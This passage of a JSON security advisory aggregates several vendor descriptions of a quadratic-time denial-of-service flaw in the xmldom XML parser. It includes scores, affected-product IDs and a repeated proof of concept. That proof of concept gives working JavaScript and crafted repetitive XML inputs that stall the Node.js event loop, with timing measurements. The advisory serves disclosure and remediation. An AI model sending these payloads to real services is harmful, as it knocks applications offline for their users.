                    "text": "xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom versions 0.3.0 through 0.6.0, two independent quadratic paths can cause denial of service. In lib/sax.js, parseElementStartPart repeatedly rescans a malformed tag name to the next > during single-character recovery; in lib/dom.js, normalize() repeatedly removes and appends adjacent text nodes, causing quadratic reindexing and string rebuilding. The first path is reachable through default DOMParser.parseFromString() processing, while the second is also reachable through a direct normalize() call on a programmatically constructed DOM, and endDocument invokes that normalization after parsing. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.",
                    "title": "osvgit - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-83614.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\n`xmldom`'s malformed-input **error-recovery path** has two quadratic-time (O(n²)) behaviors that a\nsingle crafted input triggers together, so a tiny, highly compressible document (tens of KB) stalls\nthe Node.js event loop for multiple seconds. It is reachable from `DOMParser.parseFromString` under\n**default options** — i.e. from unauthenticated, network-delivered XML — making this an unauthenticated\ndenial of service. One of the two behaviors, the `normalize()` adjacent-text merge, is **additionally\nreachable programmatically** — via a plain `normalize()` call on a DOM built with adjacent text nodes,\nindependent of the parser — so its fix must live in `normalize()`, not only in a parser bound.\n\n## Details\n\n### Finding A — `parseElementStartPart` quadratic re-scan\n\nA `<` character is not a delimiter in any tag-parsing state, so `parseElementStartPart` scans\nforward character-by-character over any embedded `<` until it reaches the next `>` (or end of\ninput), then validates the accumulated slice as a tag name and throws `invalid tagName:` on failure.\nThe main loop catches this, reports an `error`, sets `end = -1`, and recovers by advancing a single\ncharacter (`appendText(Math.max(tagStart, start) + 1)`). With a long run of `<` and a distant `>`,\neach of the O(n) recovery retries performs an O(n) scan plus an O(n) anchored regex validation over\nthe growing candidate ⇒ **O(n²)**.\n\nCode (0.9.x, `bb7a085dc5ba1eea3212388509b97bb4b4af32b9`):\n\n- `parseElementStartPart` character scan — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L263-L461\n- tag-name validation (`setTagName` → throws `invalid tagName`) — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L886-L891\n- main-loop `catch` → `error` + `end = -1` — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L234-L242\n- single-character recovery fallback — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L247\n\nCode (0.8.x, `e5c14802592685bb872c042c54c3f73758875c85`):\n\n- `parseElementStartPart` — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L227\n- `catch` → `error` + `end = -1` — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L202-L208\n- recovery fallback — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L213\n- `setTagName` validation — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L616-L621\n\n### Finding B — `normalize()` adjacent-text O(K²) merge\n\n`endDocument()` calls `document.normalize()`. For a parent with K adjacent text nodes (produced by\nthe one-character recovery of Finding A), `normalize()` performs K−1 merges. Each merge does a\n`removeChild` — which re-indexes **all** child nodes of the parent (O(K)) — and an `appendData` —\nwhich rebuilds the accumulator string `this.data + text` (O(K)). Total: **O(K²)**.\n\nWell-formed XML cannot produce adjacent text-node siblings *through the parser* (each text run is one\nnode; comments, CDATA, PIs, and elements sit between runs), so the **parse-path** trigger for Finding B\nis the malformed-input recovery that emits single-character text nodes. The same O(K²) merge is,\nhowever, independently reachable via the public `normalize()` API on a programmatically built tree\n(see \"Finding B is additionally reachable programmatically\" below).\n\nCode (0.9.x, `bb7a085dc5ba1eea3212388509b97bb4b4af32b9`):\n\n- `endDocument` → `normalize()` — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L418-L420\n- `normalize()` adjacent-text merge — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1336-L1356\n- `removeChild` re-index-all branch — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1788-L1798\n- `appendData` string rebuild — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L2786-L2790\n\nCode (0.8.x, `e5c14802592685bb872c042c54c3f73758875c85`):\n\n- `endDocument` → `normalize()` — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L213-L214\n- `normalize()` merge — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L529-L549\n- `removeChild` re-index-all branch — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L756-L773\n- `appendData` string rebuild — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L1533\n\n### Finding B is additionally reachable programmatically (no parser involved)\n\n`Node.prototype.normalize()` is public API on every `Document`/`Element`. A tree built entirely through\nthe ordinary DOM API — `new DOMImplementation().createDocument(...)`, then K× `createTextNode` +\n`appendChild` on one parent — reaches the **same** O(K²) merge when the application calls `normalize()`,\nwith **no** parsing and **no** error-recovery. The parser is only *one* of the two callers of the\nvulnerable merge:\n\n- the parser's automatic `endDocument()` → `document.normalize()` (the parse-path trigger above), and\n- any explicit application call to the public `normalize()` on a tree with adjacent text nodes.\n\n`XMLSerializer` does **not** call `normalize()`, so serializing an un-merged tree is O(total text), not\nO(K²); the O(K²) surface is exactly those two `normalize()` callers. Consequently a parser-side bound\nalone cannot remediate Finding B — the fix must live in `normalize()`.\n\n## Affected Versions\n\nBoth findings are present across the full published `@xmldom/xmldom` history — both\ncurrently-maintained versions (`0.8.x` and `0.9.x`) are affected — and across the retired unscoped\n`xmldom` line. Finding B's `normalize()` merge is additionally reachable **programmatically**: a\ndirect `normalize()` call on a DOM built with adjacent text nodes hits the same O(K²) merge,\nindependent of the parser — so, unlike Finding A, it does not require the malformed-input recovery\npath.\n\n## Proof of Concept\n\nDefault `DOMParser`, no options. The input is trivially compressible (`a<` / `a<>` repeated) and\nnever throws — it is parsed via the recovery path.\n\n```js\nconst { DOMParser } = require('@xmldom/xmldom');\n\n// Silence the expected `error`-level recovery reports (default handler logs\n// them to console.error without throwing; only fatalError throws).\nconsole.error = function () {};\n\nfunction timeParse(label, xml, mime) {\n  const t0 = process.hrtime.bigint();\n  new DOMParser().parseFromString(xml, mime); // completes; no exception\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log(label + '  bytes=' + Buffer.byteLength(xml) + '  time=' + ms.toFixed(1) + ' ms');\n}\n\nfor (const N of [4000, 8000, 16000, 32000]) {\n  // Finding A: long re-scans, O(n^2) during parse.\n  timeParse('A N=' + N, '<r>' + 'a<'.repeat(N) + '</r>', 'text/xml');\n  // Finding B: short re-scans (cheap parse) but K adjacent text nodes -> O(K^2) in normalize().\n  timeParse('B N=' + N, '<r>' + 'a<>'.repeat(N) + '</r>', 'text/html');\n  // Combined: ONE input hits both A and B under the default parser.\n  timeParse('C N=' + N, '<r>' + 'a<'.repeat(N) + '</r>', 'text/xml');\n}\n```\n\nMeasured on Node v18.20.8 (absolute ms vary by host; the load-bearing fact is that doubling the\ninput ~quadruples the time — canonical O(n²)):\n\nFinding A, isolated (`\"<r>\" + \"a<\"×N + \"</r>\"`, normalize disabled to isolate the re-scan):\n\n| N | input bytes | `@xmldom/xmldom` 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 2000 | 4007 | 43 ms | 37 ms |\n| 4000 | 8007 | 129 ms | 106 ms |\n| 8000 | 16007 | 434 ms | 424 ms |\n| 16000 | 32007 | 1629 ms | 1611 ms |\n\nFinding B, isolated (`\"<r>\" + \"a<>\"×N + \"</r>\"`, time attributable to `normalize()`):\n\n| K (N) | input bytes | 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 4000 | 12007 | 120 ms | 165 ms |\n| 8000 | 24007 | 589 ms | 771 ms |\n| 16000 | 48007 | 3142 ms | 4448 ms |\n| 32000 | 96007 | 12127 ms | 12951 ms |\n\nCombined (default parser, both findings; `\"<r>\" + \"a<\"×N + \"</r>\"`):\n\n| N | input bytes | 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 4000 | 8007 | 341 ms | 397 ms |\n| 8000 | 16007 | 1894 ms | 1641 ms |\n| 16000 | 32007 | 4398 ms | 7661 ms |\n\n~32 KB of input → several seconds of single-threaded event-loop stall.\n\n### Finding B via the public `normalize()` API (no parser)\n\n```js\nconst { DOMImplementation } = require('@xmldom/xmldom');\n\nfunction timeNormalize(K) {\n  const doc = new DOMImplementation().createDocument(null, 'r', null);\n  const el = doc.documentElement;\n  for (let i = 0; i < K; i++) el.appendChild(doc.createTextNode('x')); // K adjacent text nodes\n  const t0 = process.hrtime.bigint();\n  doc.normalize();                                    // O(K^2) merge — no parsing involved\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log('K=' + K + '  time=' + ms.toFixed(1) + ' ms');\n}\nfor (const K of [2000, 4000, 8000, 16000, 32000]) timeNormalize(K);\n```\n\nMeasured on Node v18.20.8 (doubling K ~quadruples the time — O(K²)):\n\n| K | 0.9.10 | 0.8.13 |\n|--:|--:|--:|\n| 2000 | 5.7 ms | 5.6 ms |\n| 32000 | 1263 ms | 1704 ms |\n\nThis path is reachable by any application that builds a DOM from attacker-influenced data and calls\n`normalize()`, entirely independent of `DOMParser`.\n\n## Impact\n\nAvailability only: a single parse of a small crafted document blocks the Node.js event loop for the\nduration of the quadratic work (multiple seconds at tens of KB; larger inputs scale as O(n²)). No\nmemory blow-up beyond transient strings, no data exposure, no integrity impact. Because XML is\nroutinely accepted from untrusted sources and parsed with default options, one request can stall a\nserver. The payloads are highly compressible, so any endpoint accepting compressed XML faces\nadditional amplification. Finding B is additionally reachable via an explicit `normalize()` call on a\nprogrammatically built DOM (see Proof of Concept), so applications that construct a document from attacker-influenced\ndata and normalize it are exposed even without parsing.\n\n## Severity note\n\nThe complexity is **quadratic**, not exponential, so a multi-second stall requires\ntens-to-hundreds of KB of input. `VA:H` reflects that xmldom applies **no** input-size limit and the\npath runs on default-options parsing, so a single unbounded parse can fully stall the event loop.\n\n## Fix Applied\n\nTwo independent, non-breaking fixes shipped together — each alone leaves the other's quadratic cost dominating the default parse.\nFinding A — terminate the malformed tag-name scan at an embedded `<`, so error recovery is linear instead of O(n²). DOM output is unchanged; only the reported error-message text differs (error strings are not a semver contract).\nFinding B — merge adjacent text nodes in `normalize()` in O(K) instead of O(K²), which also closes the same slowdown reachable programmatically through a direct `normalize()` call. Both ship on both maintained versions.",
                    "title": "osvnpm - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-93r5-fhx6-vmg9.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom versions 0.3.0 through 0.6.0, two independent quadratic paths can cause denial of service. In lib/sax.js, parseElementStartPart repeatedly rescans a malformed tag name to the next > during single-character recovery; in lib/dom.js, normalize() repeatedly removes and appends adjacent text nodes, causing quadratic reindexing and string rebuilding. The first path is reachable through default DOMParser.parseFromString() processing, while the second is also reachable through a direct normalize() call on a programmatically constructed DOM, and endDocument invokes that normalization after parsing. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-83614"
                },
                {
                    "category": "description",
                    "text": "A flaw was found in xmldom. Two independent quadratic paths in the XML DOM (Document Object Model) parser can lead to a denial of service (DoS). A remote attacker could exploit this by providing specially crafted XML input, causing the parser to repeatedly rescan malformed tag names or reindex and rebuild strings during normalization. This excessive processing consumes system resources, making the application unresponsive.",
                    "title": "redhat - https://access.redhat.com/security/cve/CVE-2026-83614"
                },
                {
                    "category": "description",
                    "text": "xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom versions 0.3.0 through 0.6.0, two independent quadratic paths can cause denial of service. In lib/sax.js, parseElementStartPart repeatedly rescans a malformed tag name to the next > during single-character recovery; in lib/dom.js, normalize() repeatedly removes and appends adjacent text nodes, causing quadratic reindexing and string rebuilding. The first path is reachable through default DOMParser.parseFromString() processing, while the second is also reachable through a direct normalize() call on a programmatically constructed DOM, and endDocument invokes that normalization after parsing. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.",
                    "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-83614"
                },
                {
                    "category": "description",
                    "text": "Potential security vulnerabilities in HPE Telco Service Orchestrator software that may lead to memory exhaustion, uncontrolled resource consumption, access restriction bypass, and unauthorized data injection.",
                    "title": "hpe - https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05155en_us&docLocale=en_US"
                },
                {
                    "category": "description",
                    "text": "xmldom: Quadratic-time parsing via the malformed-input recovery path — `parseElementStartPart` re-scan and `normalize()` adjacent-text merge",
                    "title": "microsoft - https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Sep"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\n`xmldom`'s malformed-input **error-recovery path** has two quadratic-time (O(n²)) behaviors that a\nsingle crafted input triggers together, so a tiny, highly compressible document (tens of KB) stalls\nthe Node.js event loop for multiple seconds. It is reachable from `DOMParser.parseFromString` under\n**default options** — i.e. from unauthenticated, network-delivered XML — making this an unauthenticated\ndenial of service. One of the two behaviors, the `normalize()` adjacent-text merge, is **additionally\nreachable programmatically** — via a plain `normalize()` call on a DOM built with adjacent text nodes,\nindependent of the parser — so its fix must live in `normalize()`, not only in a parser bound.\n\n## Details\n\n### Finding A — `parseElementStartPart` quadratic re-scan\n\nA `<` character is not a delimiter in any tag-parsing state, so `parseElementStartPart` scans\nforward character-by-character over any embedded `<` until it reaches the next `>` (or end of\ninput), then validates the accumulated slice as a tag name and throws `invalid tagName:` on failure.\nThe main loop catches this, reports an `error`, sets `end = -1`, and recovers by advancing a single\ncharacter (`appendText(Math.max(tagStart, start) + 1)`). With a long run of `<` and a distant `>`,\neach of the O(n) recovery retries performs an O(n) scan plus an O(n) anchored regex validation over\nthe growing candidate ⇒ **O(n²)**.\n\nCode (0.9.x, `bb7a085dc5ba1eea3212388509b97bb4b4af32b9`):\n\n- `parseElementStartPart` character scan — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L263-L461\n- tag-name validation (`setTagName` → throws `invalid tagName`) — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L886-L891\n- main-loop `catch` → `error` + `end = -1` — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L234-L242\n- single-character recovery fallback — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L247\n\nCode (0.8.x, `e5c14802592685bb872c042c54c3f73758875c85`):\n\n- `parseElementStartPart` — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L227\n- `catch` → `error` + `end = -1` — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L202-L208\n- recovery fallback — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L213\n- `setTagName` validation — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L616-L621\n\n### Finding B — `normalize()` adjacent-text O(K²) merge\n\n`endDocument()` calls `document.normalize()`. For a parent with K adjacent text nodes (produced by\nthe one-character recovery of Finding A), `normalize()` performs K−1 merges. Each merge does a\n`removeChild` — which re-indexes **all** child nodes of the parent (O(K)) — and an `appendData` —\nwhich rebuilds the accumulator string `this.data + text` (O(K)). Total: **O(K²)**.\n\nWell-formed XML cannot produce adjacent text-node siblings *through the parser* (each text run is one\nnode; comments, CDATA, PIs, and elements sit between runs), so the **parse-path** trigger for Finding B\nis the malformed-input recovery that emits single-character text nodes. The same O(K²) merge is,\nhowever, independently reachable via the public `normalize()` API on a programmatically built tree\n(see \"Finding B is additionally reachable programmatically\" below).\n\nCode (0.9.x, `bb7a085dc5ba1eea3212388509b97bb4b4af32b9`):\n\n- `endDocument` → `normalize()` — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L418-L420\n- `normalize()` adjacent-text merge — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1336-L1356\n- `removeChild` re-index-all branch — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1788-L1798\n- `appendData` string rebuild — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L2786-L2790\n\nCode (0.8.x, `e5c14802592685bb872c042c54c3f73758875c85`):\n\n- `endDocument` → `normalize()` — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L213-L214\n- `normalize()` merge — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L529-L549\n- `removeChild` re-index-all branch — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L756-L773\n- `appendData` string rebuild — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L1533\n\n### Finding B is additionally reachable programmatically (no parser involved)\n\n`Node.prototype.normalize()` is public API on every `Document`/`Element`. A tree built entirely through\nthe ordinary DOM API — `new DOMImplementation().createDocument(...)`, then K× `createTextNode` +\n`appendChild` on one parent — reaches the **same** O(K²) merge when the application calls `normalize()`,\nwith **no** parsing and **no** error-recovery. The parser is only *one* of the two callers of the\nvulnerable merge:\n\n- the parser's automatic `endDocument()` → `document.normalize()` (the parse-path trigger above), and\n- any explicit application call to the public `normalize()` on a tree with adjacent text nodes.\n\n`XMLSerializer` does **not** call `normalize()`, so serializing an un-merged tree is O(total text), not\nO(K²); the O(K²) surface is exactly those two `normalize()` callers. Consequently a parser-side bound\nalone cannot remediate Finding B — the fix must live in `normalize()`.\n\n## Affected Versions\n\nBoth findings are present across the full published `@xmldom/xmldom` history — both\ncurrently-maintained versions (`0.8.x` and `0.9.x`) are affected — and across the retired unscoped\n`xmldom` line. Finding B's `normalize()` merge is additionally reachable **programmatically**: a\ndirect `normalize()` call on a DOM built with adjacent text nodes hits the same O(K²) merge,\nindependent of the parser — so, unlike Finding A, it does not require the malformed-input recovery\npath.\n\n## Proof of Concept\n\nDefault `DOMParser`, no options. The input is trivially compressible (`a<` / `a<>` repeated) and\nnever throws — it is parsed via the recovery path.\n\n```js\nconst { DOMParser } = require('@xmldom/xmldom');\n\n// Silence the expected `error`-level recovery reports (default handler logs\n// them to console.error without throwing; only fatalError throws).\nconsole.error = function () {};\n\nfunction timeParse(label, xml, mime) {\n  const t0 = process.hrtime.bigint();\n  new DOMParser().parseFromString(xml, mime); // completes; no exception\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log(label + '  bytes=' + Buffer.byteLength(xml) + '  time=' + ms.toFixed(1) + ' ms');\n}\n\nfor (const N of [4000, 8000, 16000, 32000]) {\n  // Finding A: long re-scans, O(n^2) during parse.\n  timeParse('A N=' + N, '<r>' + 'a<'.repeat(N) + '</r>', 'text/xml');\n  // Finding B: short re-scans (cheap parse) but K adjacent text nodes -> O(K^2) in normalize().\n  timeParse('B N=' + N, '<r>' + 'a<>'.repeat(N) + '</r>', 'text/html');\n  // Combined: ONE input hits both A and B under the default parser.\n  timeParse('C N=' + N, '<r>' + 'a<'.repeat(N) + '</r>', 'text/xml');\n}\n```\n\nMeasured on Node v18.20.8 (absolute ms vary by host; the load-bearing fact is that doubling the\ninput ~quadruples the time — canonical O(n²)):\n\nFinding A, isolated (`\"<r>\" + \"a<\"×N + \"</r>\"`, normalize disabled to isolate the re-scan):\n\n| N | input bytes | `@xmldom/xmldom` 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 2000 | 4007 | 43 ms | 37 ms |\n| 4000 | 8007 | 129 ms | 106 ms |\n| 8000 | 16007 | 434 ms | 424 ms |\n| 16000 | 32007 | 1629 ms | 1611 ms |\n\nFinding B, isolated (`\"<r>\" + \"a<>\"×N + \"</r>\"`, time attributable to `normalize()`):\n\n| K (N) | input bytes | 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 4000 | 12007 | 120 ms | 165 ms |\n| 8000 | 24007 | 589 ms | 771 ms |\n| 16000 | 48007 | 3142 ms | 4448 ms |\n| 32000 | 96007 | 12127 ms | 12951 ms |\n\nCombined (default parser, both findings; `\"<r>\" + \"a<\"×N + \"</r>\"`):\n\n| N | input bytes | 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 4000 | 8007 | 341 ms | 397 ms |\n| 8000 | 16007 | 1894 ms | 1641 ms |\n| 16000 | 32007 | 4398 ms | 7661 ms |\n\n~32 KB of input → several seconds of single-threaded event-loop stall.\n\n### Finding B via the public `normalize()` API (no parser)\n\n```js\nconst { DOMImplementation } = require('@xmldom/xmldom');\n\nfunction timeNormalize(K) {\n  const doc = new DOMImplementation().createDocument(null, 'r', null);\n  const el = doc.documentElement;\n  for (let i = 0; i < K; i++) el.appendChild(doc.createTextNode('x')); // K adjacent text nodes\n  const t0 = process.hrtime.bigint();\n  doc.normalize();                                    // O(K^2) merge — no parsing involved\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log('K=' + K + '  time=' + ms.toFixed(1) + ' ms');\n}\nfor (const K of [2000, 4000, 8000, 16000, 32000]) timeNormalize(K);\n```\n\nMeasured on Node v18.20.8 (doubling K ~quadruples the time — O(K²)):\n\n| K | 0.9.10 | 0.8.13 |\n|--:|--:|--:|\n| 2000 | 5.7 ms | 5.6 ms |\n| 32000 | 1263 ms | 1704 ms |\n\nThis path is reachable by any application that builds a DOM from attacker-influenced data and calls\n`normalize()`, entirely independent of `DOMParser`.\n\n## Impact\n\nAvailability only: a single parse of a small crafted document blocks the Node.js event loop for the\nduration of the quadratic work (multiple seconds at tens of KB; larger inputs scale as O(n²)). No\nmemory blow-up beyond transient strings, no data exposure, no integrity impact. Because XML is\nroutinely accepted from untrusted sources and parsed with default options, one request can stall a\nserver. The payloads are highly compressible, so any endpoint accepting compressed XML faces\nadditional amplification. Finding B is additionally reachable via an explicit `normalize()` call on a\nprogrammatically built DOM (see Proof of Concept), so applications that construct a document from attacker-influenced\ndata and normalize it are exposed even without parsing.\n\n## Severity note\n\nThe complexity is **quadratic**, not exponential, so a multi-second stall requires\ntens-to-hundreds of KB of input. `VA:H` reflects that xmldom applies **no** input-size limit and the\npath runs on default-options parsing, so a single unbounded parse can fully stall the event loop.\n\n## Fix Applied\n\nTwo independent, non-breaking fixes shipped together — each alone leaves the other's quadratic cost dominating the default parse.\nFinding A — terminate the malformed tag-name scan at an embedded `<`, so error recovery is linear instead of O(n²). DOM output is unchanged; only the reported error-message text differs (error strings are not a semver contract).\nFinding B — merge adjacent text nodes in `normalize()` in O(K) instead of O(K²), which also closes the same slowdown reachable programmatically through a direct `normalize()` call. Both ship on both maintained versions.",
                    "title": "github - https://github.com/advisories/GHSA-93r5-fhx6-vmg9"
                },
                {
                    "category": "description",
                    "text": "A flaw was found in xmldom. Two independent quadratic paths in the XML DOM (Document Object Model) parser can lead to a denial of service (DoS). A remote attacker could exploit this by providing specially crafted XML input, causing the parser to repeatedly rescan malformed tag names or reindex and rebuild strings during normalization. This excessive processing consumes system resources, making the application unresponsive.",
                    "title": "redhat - https://access.redhat.com/errata/RHSA-2026:69248"
                },
                {
                    "category": "description",
                    "text": "xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom versions 0.3.0 through 0.6.0, two independent quadratic paths can cause denial of service. In lib/sax.js, parseElementStartPart repeatedly rescans a malformed tag name to the next > during single-character recovery; in lib/dom.js, normalize() repeatedly removes and appends adjacent text nodes, causing quadratic reindexing and string rebuilding. The first path is reachable through default DOMParser.parseFromString() processing, while the second is also reachable through a direct normalize() call on a programmatically constructed DOM, and endDocument invokes that normalization after parsing. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-83614"
                },
                {
                    "category": "other",
                    "text": "0.0059",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "8.7",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "4.7",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is news data available from source Bleepingcomputer, VENDOR FIX as product remediation category",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "The value of the most recent CVSS (V3) score",
                    "title": "NCSC Score top decreasing factors"
                },
                {
                    "category": "details",
                    "text": "Severity: 3\n",
                    "title": "Vendor assessment"
                }
            ],
            "product_status": {
                "fixed": [
                    "CSAFPID-9368042",
                    "CSAFPID-9512267"
                ],
                "known_affected": [
                    "CSAFPID-1439279",
                    "CSAFPID-1439294",
                    "CSAFPID-1439317",
                    "CSAFPID-1439319",
                    "CSAFPID-1439328",
                    "CSAFPID-1441120",
                    "CSAFPID-1496261",
                    "CSAFPID-1508265",
                    "CSAFPID-1508266",
                    "CSAFPID-1663145",
                    "CSAFPID-2858634",
                    "CSAFPID-2868420",
                    "CSAFPID-5811359",
                    "CSAFPID-5940623",
                    "CSAFPID-6239273",
                    "CSAFPID-9105480",
                    "CSAFPID-5991503",
                    "CSAFPID-9104839",
                    "CSAFPID-9104838",
                    "CSAFPID-9104939",
                    "CSAFPID-9477920",
                    "CSAFPID-9477921",
                    "CSAFPID-9485661",
                    "CSAFPID-9485662",
                    "CSAFPID-9485663",
                    "CSAFPID-9512266",
                    "CSAFPID-1337768",
                    "CSAFPID-3441068",
                    "CSAFPID-3441069",
                    "CSAFPID-3441070",
                    "CSAFPID-4349372",
                    "CSAFPID-3437183",
                    "CSAFPID-3437184",
                    "CSAFPID-3437185",
                    "CSAFPID-3437186",
                    "CSAFPID-3437187",
                    "CSAFPID-3437188",
                    "CSAFPID-5037326",
                    "CSAFPID-5037327",
                    "CSAFPID-6245827",
                    "CSAFPID-6245828",
                    "CSAFPID-8740608",
                    "CSAFPID-8932784",
                    "CSAFPID-9104868",
                    "CSAFPID-5037328",
                    "CSAFPID-5037329",
                    "CSAFPID-6245821",
                    "CSAFPID-6245822",
                    "CSAFPID-6245823",
                    "CSAFPID-6245824",
                    "CSAFPID-6245825",
                    "CSAFPID-6245826",
                    "CSAFPID-6245829",
                    "CSAFPID-6245830",
                    "CSAFPID-9104869",
                    "CSAFPID-9104870",
                    "CSAFPID-6245831",
                    "CSAFPID-6245832",
                    "CSAFPID-6245833",
                    "CSAFPID-6245834",
                    "CSAFPID-6245835",
                    "CSAFPID-6245836",
                    "CSAFPID-6245837",
                    "CSAFPID-8740607",
                    "CSAFPID-3437191",
                    "CSAFPID-1317177",
                    "CSAFPID-9111866",
                    "CSAFPID-9111867",
                    "CSAFPID-5211181"
                ],
                "known_not_affected": [
                    "CSAFPID-9368043",
                    "CSAFPID-9368044"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-83614.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - ncscclear",
                    "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-83614"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83614"
                },
                {
                    "category": "external",
                    "summary": "Source - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-83614"
                },
                {
                    "category": "external",
                    "summary": "Source - debian",
                    "url": "https://security-tracker.debian.org/tracker/CVE-2026-83614"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss"
                },
                {
                    "category": "external",
                    "summary": "Source - microsoft",
                    "url": "https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Sep"
                },
                {
                    "category": "external",
